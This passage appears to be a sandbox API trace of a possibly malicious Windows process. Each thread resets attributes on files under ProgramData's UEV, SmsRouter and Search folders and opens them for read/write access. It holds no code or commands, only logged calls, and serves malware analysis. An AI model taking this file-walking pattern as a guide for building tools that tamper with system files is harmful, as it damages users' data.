CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.710] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", dwFileAttributes=0x20) returned 0 [0079.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e63d8) returned 1 [0079.710] RtlExitUserThread (Status=0x0) Thread: id = 956 os_tid = 0x15f4 [0079.711] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml")) returned 0x20 [0079.712] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", dwFileAttributes=0x20) returned 0 [0079.712] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.712] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", dwFileAttributes=0x20) returned 0 [0079.712] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6870) returned 1 [0079.712] RtlExitUserThread (Status=0x0) Thread: id = 957 os_tid = 0x15f8 [0079.714] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml")) returned 0x20 [0079.714] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", dwFileAttributes=0x20) returned 0 [0079.714] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.714] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", dwFileAttributes=0x20) returned 0 [0079.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6480) returned 1 [0079.714] RtlExitUserThread (Status=0x0) Thread: id = 958 os_tid = 0x15fc [0079.715] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml")) returned 0x20 [0079.715] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", dwFileAttributes=0x20) returned 0 [0079.716] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.716] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", dwFileAttributes=0x20) returned 0 [0079.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429108) returned 1 [0079.716] RtlExitUserThread (Status=0x0) Thread: id = 959 os_tid = 0x1600 [0079.717] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml")) returned 0x20 [0079.718] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", dwFileAttributes=0x20) returned 0 [0079.719] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.719] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", dwFileAttributes=0x20) returned 0 [0079.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428c00) returned 1 [0079.719] RtlExitUserThread (Status=0x0) Thread: id = 960 os_tid = 0x1604 [0079.720] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml")) returned 0x20 [0079.721] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", dwFileAttributes=0x20) returned 0 [0079.721] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.721] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", dwFileAttributes=0x20) returned 0 [0079.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c458) returned 1 [0079.721] RtlExitUserThread (Status=0x0) Thread: id = 961 os_tid = 0x1608 [0079.722] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\networkprinters.xml")) returned 0x20 [0079.724] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", dwFileAttributes=0x20) returned 0 [0079.724] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.724] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", dwFileAttributes=0x20) returned 0 [0079.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e23c0) returned 1 [0079.724] RtlExitUserThread (Status=0x0) Thread: id = 962 os_tid = 0x160c [0079.728] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml")) returned 0x20 [0079.733] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", dwFileAttributes=0x20) returned 0 [0079.733] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.733] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", dwFileAttributes=0x20) returned 0 [0079.733] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5f40) returned 1 [0079.733] RtlExitUserThread (Status=0x0) Thread: id = 963 os_tid = 0x1610 [0079.735] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml")) returned 0x20 [0079.736] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", dwFileAttributes=0x20) returned 0 [0079.736] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.736] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", dwFileAttributes=0x20) returned 0 [0079.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bf98) returned 1 [0079.736] RtlExitUserThread (Status=0x0) Thread: id = 964 os_tid = 0x1614 [0079.737] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\vdistate.xml")) returned 0x20 [0079.738] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", dwFileAttributes=0x20) returned 0 [0079.739] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.739] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", dwFileAttributes=0x20) returned 0 [0079.739] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f0a0) returned 1 [0079.739] RtlExitUserThread (Status=0x0) Thread: id = 965 os_tid = 0x1618 [0079.740] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate.xsd")) returned 0x20 [0079.741] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd", dwFileAttributes=0x20) returned 0 [0079.741] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.741] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd", dwFileAttributes=0x20) returned 0 [0079.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c7e8) returned 1 [0079.742] RtlExitUserThread (Status=0x0) Thread: id = 966 os_tid = 0x161c [0079.743] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd")) returned 0x20 [0079.743] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd", dwFileAttributes=0x20) returned 0 [0079.743] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.743] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd", dwFileAttributes=0x20) returned 0 [0079.743] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb4f0) returned 1 [0079.743] RtlExitUserThread (Status=0x0) Thread: id = 967 os_tid = 0x1620 [0079.747] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd")) returned 0x20 [0079.749] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd", dwFileAttributes=0x20) returned 0 [0079.749] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.749] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd", dwFileAttributes=0x20) returned 0 [0079.749] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6e58) returned 1 [0079.749] RtlExitUserThread (Status=0x0) Thread: id = 968 os_tid = 0x1624 [0079.750] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.chk" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb.chk")) returned 0x20 [0079.752] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.chk", dwFileAttributes=0x20) returned 0 [0079.752] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.chk" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.752] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.chk", dwFileAttributes=0x20) returned 0 [0079.752] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cca70) returned 1 [0079.752] RtlExitUserThread (Status=0x0) Thread: id = 969 os_tid = 0x1628 [0079.754] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb.log")) returned 0x20 [0079.754] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log", dwFileAttributes=0x20) returned 0 [0079.754] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.754] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log", dwFileAttributes=0x20) returned 0 [0079.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccbf0) returned 1 [0079.754] RtlExitUserThread (Status=0x0) Thread: id = 970 os_tid = 0x162c [0079.756] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb00002.log")) returned 0x20 [0079.757] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log", dwFileAttributes=0x20) returned 0 [0079.757] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb00002.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.757] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log", dwFileAttributes=0x20) returned 0 [0079.757] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2570) returned 1 [0079.757] RtlExitUserThread (Status=0x0) Thread: id = 971 os_tid = 0x1630 [0079.759] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbres00001.jrs")) returned 0x20 [0079.759] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs", dwFileAttributes=0x20) returned 0 [0079.759] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.759] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs", dwFileAttributes=0x20) returned 0 [0079.759] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2720) returned 1 [0079.759] RtlExitUserThread (Status=0x0) Thread: id = 972 os_tid = 0x1634 [0079.761] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbres00002.jrs")) returned 0x20 [0079.761] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs", dwFileAttributes=0x20) returned 0 [0079.761] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.761] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs", dwFileAttributes=0x20) returned 0 [0079.761] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e28d0) returned 1 [0079.761] RtlExitUserThread (Status=0x0) Thread: id = 973 os_tid = 0x1638 [0079.762] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbtmp.log")) returned 0x20 [0079.763] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log", dwFileAttributes=0x20) returned 0 [0079.763] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.763] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log", dwFileAttributes=0x20) returned 0 [0079.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347edf8) returned 1 [0079.763] RtlExitUserThread (Status=0x0) Thread: id = 974 os_tid = 0x163c [0079.766] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db")) returned 0x20 [0079.766] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db", dwFileAttributes=0x20) returned 0 [0079.767] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.767] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db", dwFileAttributes=0x20) returned 0 [0079.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb590) returned 1 [0079.767] RtlExitUserThread (Status=0x0) Thread: id = 975 os_tid = 0x1640 [0079.768] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.jfm")) returned 0x20 [0079.768] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm", dwFileAttributes=0x20) returned 0 [0079.768] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.jfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.768] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm", dwFileAttributes=0x20) returned 0 [0079.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaaf0) returned 1 [0079.768] RtlExitUserThread (Status=0x0) Thread: id = 976 os_tid = 0x1644 [0079.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fee0 [0079.769] wcscpy (in: _Dest=0x347fee0, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" [0079.769] wcscat (in: _Dest=0x347fee0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\" [0079.769] wcscat (in: _Dest=0x347fee0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*" [0079.770] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5458 [0079.770] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e01d8 [0079.770] wcscmp (_String1=".", _String2=".") returned 0 [0079.770] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.770] wcscmp (_String1="..", _String2=".") returned 1 [0079.770] wcscmp (_String1="..", _String2="..") returned 0 [0079.770] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfd58d8c3, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfd58d8c3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0079.770] wcscmp (_String1="Windows", _String2=".") returned 1 [0079.770] wcscmp (_String1="Windows", _String2="..") returned 1 [0079.770] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfd58d8c3, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfd58d8c3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0079.770] FindClose (in: hFindFile=0x33e01d8 | out: hFindFile=0x33e01d8) returned 1 [0079.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5458) returned 1 [0079.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0079.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0079.770] RtlExitUserThread (Status=0x0) Thread: id = 977 os_tid = 0x1648 [0079.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3426c58 [0079.771] wcscpy (in: _Dest=0x3426c58, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp" [0079.771] wcscat (in: 